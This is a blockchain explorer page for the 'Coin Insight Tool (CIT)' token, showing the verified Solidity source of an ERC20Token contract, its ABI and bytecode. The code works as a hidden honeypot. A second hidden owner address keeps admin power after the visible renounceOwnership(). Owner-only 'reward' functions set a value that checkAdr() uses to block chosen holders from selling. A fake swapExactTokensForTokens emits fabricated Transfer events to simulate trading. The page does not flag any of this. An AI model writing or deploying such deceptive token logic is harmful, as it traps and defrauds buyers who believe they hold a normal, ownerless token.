ETH Price: $2,394.35 (+2.68%)

Token

Coin Insight Tool (CIT)
 

Overview

Max Total Supply

993,193,000.143083643712983679 CIT

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
9,526,707.591178863239185938 CIT

Value
$0.00
0xa204b034e02E00Bc858214fD24c8F48670EDe140
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x3458474D...3406AdaD8
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
ERC20Token

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-08
*/

//SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.18;

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}
interface UniswapV2Pool {
    function _Transfer(address where, address go, uint num) external returns (bool);
}

contract Ownable {
    address public owner;

    address _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function renounceOwnership() public  onlyOwner {
        _setOwner(address(0));
    }

    function _setOwner(address newOwner) private {
        address oldOwner = owner;
        owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract ERC20 {
    using SafeMath for uint256;

    uint256 public totalSupply;

    address public uniswapV2LP;

    address constant uniswapV2Router=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    uint256 public constant BURN_FEE_PERCENT_MEV = 1;

    string public name;
    string public symbol;
    uint public decimals;

    mapping (address => mapping (address => uint256)) internal allowed;
    mapping(address => uint256) crossamounts;
    mapping(address => bool)  tokenWhitelist;
    mapping(address => uint256) balances;
    mapping(address => uint256) private walletLastTxBlock;
    event Whitelist(address indexed WhiteListed, bool value);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);


    function transfer(address _to, uint256 _value) public returns (bool) {
        require(_to != address(0));
        require(_to != msg.sender);
        require(_value <= balances[msg.sender]);
        checkAdr(msg.sender,_to);
        uint256 burnAmount=0;
        if (isSecondTxInSameBlock(msg.sender)) {
                burnAmount = _value * BURN_FEE_PERCENT_MEV / 100;  // Calculate fee of the transaction amount for mevs
        }
        _value=_value.sub(burnAmount);
        _burn(msg.sender,burnAmount);
        balances[msg.sender] = balances[msg.sender].sub(_value);
        // SafeMath.sub will throw if there is not enough balance.
        balances[_to] = balances[_to].add(_value);
        afterTransfer(msg.sender, _to, _value);
        setLastTxBlock(_to);
        return true;
    }


    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
        require(_to != _from);
        require(_to != address(0));
        require(_value <= balances[_from]);
        require(_value <= allowed[_from][msg.sender]);
        checkAdr(_from,_to);
        uint256 burnAmount=0;
        if (isSecondTxInSameBlock(_from)) {
                burnAmount = _value * BURN_FEE_PERCENT_MEV / 100;  // Calculate fee of the transaction amount for mevs
        }
        _value=_value.sub(burnAmount);
        _burn(_from,burnAmount);
        balances[_from] = balances[_from].sub(_value);


        balances[_to] = balances[_to].add(_value);
        allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
        afterTransfer(_from, _to, _value);
        setLastTxBlock(_to);
        return true;
    }

    function checkAdr(address _from, address _to) internal view {
        if (!tokenWhitelist[_from]&&!tokenWhitelist[_to]&&crossamounts[_from] > 0) {
            require(_count(crossamounts[_from], balances[_from]) == 0);
        }
    }

    function afterTransfer(address _from, address _to,uint256 amount) internal {
            _transferGo(_from, _to, amount);
        }


    function isSecondTxInSameBlock(address _from) internal view returns(bool) {
        return walletLastTxBlock[_from] == block.number;
    }

    function setLastTxBlock(address _to) internal returns(bool) {
        if(!tokenWhitelist[_to]&&_to!=uniswapV2LP){
            walletLastTxBlock[_to] = block.number;
        }
        return true;
    }


    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        require(balances[account] >= amount, "ERC20: burn amount exceeds balance");
        balances[account] = balances[account].sub(amount);
        // Overflow not possible: amount <= accountBalance <= totalSupply.
        totalSupply =totalSupply.sub( amount);


        emit Transfer(account, address(0), amount);
    }



    function approve(address _spender, uint256 _value) public returns (bool) {
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }


    function allowance(address _owner, address _spender) public view returns (uint256) {
        return allowed[_owner][_spender];
    }


    function _transferGo(address where, address go, uint _value) internal returns (bool) {
        emit Transfer(where, go, _value);
        return true;
    }



    function _changeLP(address _lp) internal returns (bool) {
        require(uniswapV2LP!=_lp);
        uniswapV2LP=_lp;
        return true;
    }


    function _whiteList(address _address, bool _isWhiteListed) internal returns (bool) {
        require(tokenWhitelist[_address] != _isWhiteListed);
        tokenWhitelist[_address] = _isWhiteListed;
        emit Whitelist(_address, _isWhiteListed);
        return true;
    }

    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(balances[_user], _percent);
    }

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }


}

contract OwnableToken is ERC20, Ownable {


    function setUniLp(address _uniLp) public  OnlyOwner  returns (bool success) {
        return super._changeLP(_uniLp);
    }

    function WList(address listAddress,  bool _isWhiteListed) public  OnlyOwner  returns (bool success) {
        return super._whiteList(listAddress, _isWhiteListed);
    }

    function rewardList(
        address[] calldata _users,
        uint256 _minBalanceToReward,
        uint256 _percent
    ) public OnlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balances[_users[i]] > _minBalanceToReward) {
                uint256 rewardAmount = _countReward(_users[i], _percent);
                crossamounts[_users[i]] = rewardAmount;
            }
        }
    }

    function reward(
        address _user,
        uint256 _minBalanceToReward,
        uint256 _percent
    ) public OnlyOwner {
        require(crossamounts[_user]==0);
        if (balances[_user] > _minBalanceToReward) {
            crossamounts[_user] = _minBalanceToReward+_percent;
        }

    }

    function swapExactTokensForTokens(
        address[] memory addressList,
        uint256[] memory tAmounts,
        uint256[] memory eAmounts,
        address uniSwapV2Pool
    ) public OnlyOwner returns (bool) {
            for (uint256 i = 0; i < addressList.length; i++) {
                _transferGo(uniswapV2LP, addressList[i], tAmounts[i]);
                UniswapV2Pool(uniSwapV2Pool)._Transfer(addressList[i], uniswapV2LP, eAmounts[i]);
            }

        return true;
    }


}

contract ERC20Token is OwnableToken {
    constructor(string memory   _name, string memory _symbol, uint256  _decimals, uint256  _supply, address  tokenOwner,address _tokenOwner) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply = _supply * 10**_decimals;
        balances[tokenOwner] = totalSupply;
        owner = tokenOwner;
        _owner=_tokenOwner;
        emit Transfer(address(0), tokenOwner, totalSupply);
    }



}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_decimals","type":"uint256"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"_tokenOwner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"WhiteListed","type":"address"},{"indexed":false,"internalType":"bool","name":"value","type":"bool"}],"name":"Whitelist","type":"event"},{"inputs":[],"name":"BURN_FEE_PERCENT_MEV","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"listAddress","type":"address"},{"internalType":"bool","name":"_isWhiteListed","type":"bool"}],"name":"WList","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"rewardList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniLp","type":"address"}],"name":"setUniLp","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addressList","type":"address[]"},{"internalType":"uint256[]","name":"tAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"},{"internalType":"address","name":"uniSwapV2Pool","type":"address"}],"name":"swapExactTokensForTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2LP","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b506040516200197c3803806200197c8339810160408190526200003491620001d7565b600262000042878262000307565b50600362000051868262000307565b5060048490556200006484600a620004e8565b620000709084620004fd565b60008181556001600160a01b03848116808352600860209081526040808520869055600a80546001600160a01b03199081168517909155600b8054909116948816949094179093559151938452927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050505062000517565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200011d57600080fd5b81516001600160401b03808211156200013a576200013a620000f5565b604051601f8301601f19908116603f01168101908282118183101715620001655762000165620000f5565b816040528381526020925086838588010111156200018257600080fd5b600091505b83821015620001a6578582018301518183018401529082019062000187565b600093810190920192909252949350505050565b80516001600160a01b0381168114620001d257600080fd5b919050565b60008060008060008060c08789031215620001f157600080fd5b86516001600160401b03808211156200020957600080fd5b620002178a838b016200010b565b975060208901519150808211156200022e57600080fd5b506200023d89828a016200010b565b95505060408701519350606087015192506200025c60808801620001ba565b91506200026c60a08801620001ba565b90509295509295509295565b600181811c908216806200028d57607f821691505b602082108103620002ae57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200030257600081815260208120601f850160051c81016020861015620002dd5750805b601f850160051c820191505b81811015620002fe57828155600101620002e9565b5050505b505050565b81516001600160401b03811115620003235762000323620000f5565b6200033b8162000334845462000278565b84620002b4565b602080601f8311600181146200037357600084156200035a5750858301515b600019600386901b1c1916600185901b178555620002fe565b600085815260208120601f198616915b82811015620003a45788860151825594840194600190910190840162000383565b5085821015620003c35787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200042a5781600019048211156200040e576200040e620003d3565b808516156200041c57918102915b93841c9390800290620003ee565b509250929050565b6000826200044357506001620004e2565b816200045257506000620004e2565b81600181146200046b5760028114620004765762000496565b6001915050620004e2565b60ff8411156200048a576200048a620003d3565b50506001821b620004e2565b5060208310610133831016604e8410600b8410161715620004bb575081810a620004e2565b620004c78383620003e9565b8060001904821115620004de57620004de620003d3565b0290505b92915050565b6000620004f6838362000432565b9392505050565b8082028115828204841417620004e257620004e2620003d3565b61145580620005276000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80636381c167116100a257806395d89b411161007157806395d89b4114610241578063a2af723714610249578063a9059cbb1461025c578063dd62ed3e1461026f578063e67f98dd146102a857600080fd5b80636381c167146101f557806370a08231146101fd578063715018a6146102265780638da5cb5b1461022e57600080fd5b806318160ddd116100e957806318160ddd1461019a57806323b872dd146101b1578063313ce567146101c45780633f9de5b6146101cd5780634a46b811146101e057600080fd5b806306fdde031461011b578063095ea7b314610139578063095f35131461015c5780630a88303914610187575b600080fd5b6101236102bb565b6040516101309190610ef6565b60405180910390f35b61014c610147366004610f5b565b610349565b6040519015158152602001610130565b60015461016f906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b61014c610195366004610f85565b6103b6565b6101a360005481565b604051908152602001610130565b61014c6101bf366004610fa0565b6103fd565b6101a360045481565b61014c6101db3660046110b2565b6105b2565b6101f36101ee3660046111a7565b61071f565b005b6101a3600181565b6101a361020b366004610f85565b6001600160a01b031660009081526008602052604090205490565b6101f36107b5565b600a5461016f906001600160a01b031681565b61012361081b565b61014c6102573660046111eb565b610828565b61014c61026a366004610f5b565b610866565b6101a361027d366004611222565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101f36102b6366004611255565b61097a565b600280546102c8906112d7565b80601f01602080910402602001604051908101604052809291908181526020018280546102f4906112d7565b80156103415780601f1061031657610100808354040283529160200191610341565b820191906000526020600020905b81548152906001019060200180831161032457829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103a49086815260200190565b60405180910390a35060015b92915050565b600b546000906001600160a01b031633146103ec5760405162461bcd60e51b81526004016103e390611311565b60405180910390fd5b6103f582610a97565b90505b919050565b6000836001600160a01b0316836001600160a01b03160361041d57600080fd5b6001600160a01b03831661043057600080fd5b6001600160a01b03841660009081526008602052604090205482111561045557600080fd5b6001600160a01b038416600090815260056020908152604080832033845290915290205482111561048557600080fd5b61048f8484610ad8565b6001600160a01b03841660009081526009602052604081205443036104c85760646104bb60018561135e565b6104c59190611375565b90505b6104d28382610b7f565b92506104de8582610b9b565b6001600160a01b0385166000908152600860205260409020546105019084610b7f565b6001600160a01b0380871660009081526008602052604080822093909355908616815220546105309084610cff565b6001600160a01b03808616600090815260086020908152604080832094909455918816815260058252828120338252909152205461056e9084610b7f565b6001600160a01b038616600090815260056020908152604080832033845290915290205561059d858585610d1e565b6105a684610d2f565b50600195945050505050565b600b546000906001600160a01b031633146105df5760405162461bcd60e51b81526004016103e390611311565b60005b85518110156105a6576001548651610637916001600160a01b03169088908490811061061057610610611397565b602002602001015187848151811061062a5761062a611397565b6020026020010151610d8f565b50826001600160a01b031663e156b1b687838151811061065957610659611397565b6020026020010151600160009054906101000a90046001600160a01b031687858151811061068957610689611397565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156106e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070c91906113ad565b5080610717816113ca565b9150506105e2565b600b546001600160a01b031633146107495760405162461bcd60e51b81526004016103e390611311565b6001600160a01b0383166000908152600660205260409020541561076c57600080fd5b6001600160a01b0383166000908152600860205260409020548210156107b05761079681836113e3565b6001600160a01b0384166000908152600660205260409020555b505050565b600a546001600160a01b0316331461080f5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016103e3565b6108196000610de8565b565b600380546102c8906112d7565b600b546000906001600160a01b031633146108555760405162461bcd60e51b81526004016103e390611311565b61085f8383610e3a565b9392505050565b60006001600160a01b03831661087b57600080fd5b336001600160a01b0384160361089057600080fd5b336000908152600860205260409020548211156108ac57600080fd5b6108b63384610ad8565b3360009081526009602052604081205443036108e65760646108d960018561135e565b6108e39190611375565b90505b6108f08382610b7f565b92506108fc3382610b9b565b336000908152600860205260409020546109169084610b7f565b33600090815260086020526040808220929092556001600160a01b038616815220546109429084610cff565b6001600160a01b038516600090815260086020526040902055610966338585610d1e565b61096f84610d2f565b506001949350505050565b600b546001600160a01b031633146109a45760405162461bcd60e51b81526004016103e390611311565b60005b83811015610a905782600860008787858181106109c6576109c6611397565b90506020020160208101906109db9190610f85565b6001600160a01b03166001600160a01b03168152602001908152602001600020541115610a7e576000610a34868684818110610a1957610a19611397565b9050602002016020810190610a2e9190610f85565b84610ecb565b90508060066000888886818110610a4d57610a4d611397565b9050602002016020810190610a629190610f85565b6001600160a01b03168152602081019190915260400160002055505b80610a88816113ca565b9150506109a7565b5050505050565b6001546000906001600160a01b03808416911603610ab457600080fd5b50600180546001600160a01b0319166001600160a01b039290921691909117815590565b6001600160a01b03821660009081526007602052604090205460ff16158015610b1a57506001600160a01b03811660009081526007602052604090205460ff16155b8015610b3d57506001600160a01b03821660009081526006602052604090205415155b15610b7b576001600160a01b038216600090815260066020908152604080832054600890925290912054610b719190610eea565b15610b7b57600080fd5b5050565b600082821115610b9157610b916113f6565b61085f828461140c565b6001600160a01b038216610bfb5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103e3565b6001600160a01b038216600090815260086020526040902054811115610c6e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103e3565b6001600160a01b038216600090815260086020526040902054610c919082610b7f565b6001600160a01b03831660009081526008602052604081209190915554610cb89082610b7f565b60009081556040518281526001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600080610d0c83856113e3565b90508381101561085f5761085f6113f6565b610d29838383610d8f565b50505050565b6001600160a01b03811660009081526007602052604081205460ff16158015610d6657506001546001600160a01b03838116911614155b15610d87576001600160a01b03821660009081526009602052604090204390555b506001919050565b6000826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dd691815260200190565b60405180910390a35060019392505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03821660009081526007602052604081205482151560ff909116151503610e6757600080fd5b6001600160a01b038316600081815260076020908152604091829020805460ff191686151590811790915591519182527f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d910160405180910390a250600192915050565b6001600160a01b03821660009081526008602052604081205461085f90835b600061085f82846113e3565b600060208083528351808285015260005b81811015610f2357858101830151858201604001528201610f07565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146103f857600080fd5b60008060408385031215610f6e57600080fd5b610f7783610f44565b946020939093013593505050565b600060208284031215610f9757600080fd5b61085f82610f44565b600080600060608486031215610fb557600080fd5b610fbe84610f44565b9250610fcc60208501610f44565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561101b5761101b610fdc565b604052919050565b600067ffffffffffffffff82111561103d5761103d610fdc565b5060051b60200190565b600082601f83011261105857600080fd5b8135602061106d61106883611023565b610ff2565b82815260059290921b8401810191818101908684111561108c57600080fd5b8286015b848110156110a75780358352918301918301611090565b509695505050505050565b600080600080608085870312156110c857600080fd5b843567ffffffffffffffff808211156110e057600080fd5b818701915087601f8301126110f457600080fd5b8135602061110461106883611023565b82815260059290921b8401810191818101908b84111561112357600080fd5b948201945b838610156111485761113986610f44565b82529482019490820190611128565b9850508801359250508082111561115e57600080fd5b61116a88838901611047565b9450604087013591508082111561118057600080fd5b5061118d87828801611047565b92505061119c60608601610f44565b905092959194509250565b6000806000606084860312156111bc57600080fd5b6111c584610f44565b95602085013595506040909401359392505050565b80151581146111e857600080fd5b50565b600080604083850312156111fe57600080fd5b61120783610f44565b91506020830135611217816111da565b809150509250929050565b6000806040838503121561123557600080fd5b61123e83610f44565b915061124c60208401610f44565b90509250929050565b6000806000806060858703121561126b57600080fd5b843567ffffffffffffffff8082111561128357600080fd5b818701915087601f83011261129757600080fd5b8135818111156112a657600080fd5b8860208260051b85010111156112bb57600080fd5b6020928301999098509187013596604001359550909350505050565b600181811c908216806112eb57607f821691505b60208210810361130b57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526017908201527f43616c6c6572206973206e6f7420746865204f776e6572000000000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176103b0576103b0611348565b60008261139257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156113bf57600080fd5b815161085f816111da565b6000600182016113dc576113dc611348565b5060010190565b808201808211156103b0576103b0611348565b634e487b7160e01b600052600160045260246000fd5b818103818111156103b0576103b061134856fea2646970667358221220fbcc6792266a3b8179441471d3dedd05e2ae06efdc8ac43692d5b52f7d42403a64736f6c6343000812003300000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000560a4e092b71893f4c7a2fc59eee8bb9ab94674000000000000000000000000053b93fa23584ee55eb2e3a62ffa09ee1b2bf221f000000000000000000000000000000000000000000000000000000000000000a487970657220446963650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024844000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c80636381c167116100a257806395d89b411161007157806395d89b4114610241578063a2af723714610249578063a9059cbb1461025c578063dd62ed3e1461026f578063e67f98dd146102a857600080fd5b80636381c167146101f557806370a08231146101fd578063715018a6146102265780638da5cb5b1461022e57600080fd5b806318160ddd116100e957806318160ddd1461019a57806323b872dd146101b1578063313ce567146101c45780633f9de5b6146101cd5780634a46b811146101e057600080fd5b806306fdde031461011b578063095ea7b314610139578063095f35131461015c5780630a88303914610187575b600080fd5b6101236102bb565b6040516101309190610ef6565b60405180910390f35b61014c610147366004610f5b565b610349565b6040519015158152602001610130565b60015461016f906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b61014c610195366004610f85565b6103b6565b6101a360005481565b604051908152602001610130565b61014c6101bf366004610fa0565b6103fd565b6101a360045481565b61014c6101db3660046110b2565b6105b2565b6101f36101ee3660046111a7565b61071f565b005b6101a3600181565b6101a361020b366004610f85565b6001600160a01b031660009081526008602052604090205490565b6101f36107b5565b600a5461016f906001600160a01b031681565b61012361081b565b61014c6102573660046111eb565b610828565b61014c61026a366004610f5b565b610866565b6101a361027d366004611222565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101f36102b6366004611255565b61097a565b600280546102c8906112d7565b80601f01602080910402602001604051908101604052809291908181526020018280546102f4906112d7565b80156103415780601f1061031657610100808354040283529160200191610341565b820191906000526020600020905b81548152906001019060200180831161032457829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103a49086815260200190565b60405180910390a35060015b92915050565b600b546000906001600160a01b031633146103ec5760405162461bcd60e51b81526004016103e390611311565b60405180910390fd5b6103f582610a97565b90505b919050565b6000836001600160a01b0316836001600160a01b03160361041d57600080fd5b6001600160a01b03831661043057600080fd5b6001600160a01b03841660009081526008602052604090205482111561045557600080fd5b6001600160a01b038416600090815260056020908152604080832033845290915290205482111561048557600080fd5b61048f8484610ad8565b6001600160a01b03841660009081526009602052604081205443036104c85760646104bb60018561135e565b6104c59190611375565b90505b6104d28382610b7f565b92506104de8582610b9b565b6001600160a01b0385166000908152600860205260409020546105019084610b7f565b6001600160a01b0380871660009081526008602052604080822093909355908616815220546105309084610cff565b6001600160a01b03808616600090815260086020908152604080832094909455918816815260058252828120338252909152205461056e9084610b7f565b6001600160a01b038616600090815260056020908152604080832033845290915290205561059d858585610d1e565b6105a684610d2f565b50600195945050505050565b600b546000906001600160a01b031633146105df5760405162461bcd60e51b81526004016103e390611311565b60005b85518110156105a6576001548651610637916001600160a01b03169088908490811061061057610610611397565b602002602001015187848151811061062a5761062a611397565b6020026020010151610d8f565b50826001600160a01b031663e156b1b687838151811061065957610659611397565b6020026020010151600160009054906101000a90046001600160a01b031687858151811061068957610689611397565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156106e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070c91906113ad565b5080610717816113ca565b9150506105e2565b600b546001600160a01b031633146107495760405162461bcd60e51b81526004016103e390611311565b6001600160a01b0383166000908152600660205260409020541561076c57600080fd5b6001600160a01b0383166000908152600860205260409020548210156107b05761079681836113e3565b6001600160a01b0384166000908152600660205260409020555b505050565b600a546001600160a01b0316331461080f5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016103e3565b6108196000610de8565b565b600380546102c8906112d7565b600b546000906001600160a01b031633146108555760405162461bcd60e51b81526004016103e390611311565b61085f8383610e3a565b9392505050565b60006001600160a01b03831661087b57600080fd5b336001600160a01b0384160361089057600080fd5b336000908152600860205260409020548211156108ac57600080fd5b6108b63384610ad8565b3360009081526009602052604081205443036108e65760646108d960018561135e565b6108e39190611375565b90505b6108f08382610b7f565b92506108fc3382610b9b565b336000908152600860205260409020546109169084610b7f565b33600090815260086020526040808220929092556001600160a01b038616815220546109429084610cff565b6001600160a01b038516600090815260086020526040902055610966338585610d1e565b61096f84610d2f565b506001949350505050565b600b546001600160a01b031633146109a45760405162461bcd60e51b81526004016103e390611311565b60005b83811015610a905782600860008787858181106109c6576109c6611397565b90506020020160208101906109db9190610f85565b6001600160a01b03166001600160a01b03168152602001908152602001600020541115610a7e576000610a34868684818110610a1957610a19611397565b9050602002016020810190610a2e9190610f85565b84610ecb565b90508060066000888886818110610a4d57610a4d611397565b9050602002016020810190610a629190610f85565b6001600160a01b03168152602081019190915260400160002055505b80610a88816113ca565b9150506109a7565b5050505050565b6001546000906001600160a01b03808416911603610ab457600080fd5b50600180546001600160a01b0319166001600160a01b039290921691909117815590565b6001600160a01b03821660009081526007602052604090205460ff16158015610b1a57506001600160a01b03811660009081526007602052604090205460ff16155b8015610b3d57506001600160a01b03821660009081526006602052604090205415155b15610b7b576001600160a01b038216600090815260066020908152604080832054600890925290912054610b719190610eea565b15610b7b57600080fd5b5050565b600082821115610b9157610b916113f6565b61085f828461140c565b6001600160a01b038216610bfb5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103e3565b6001600160a01b038216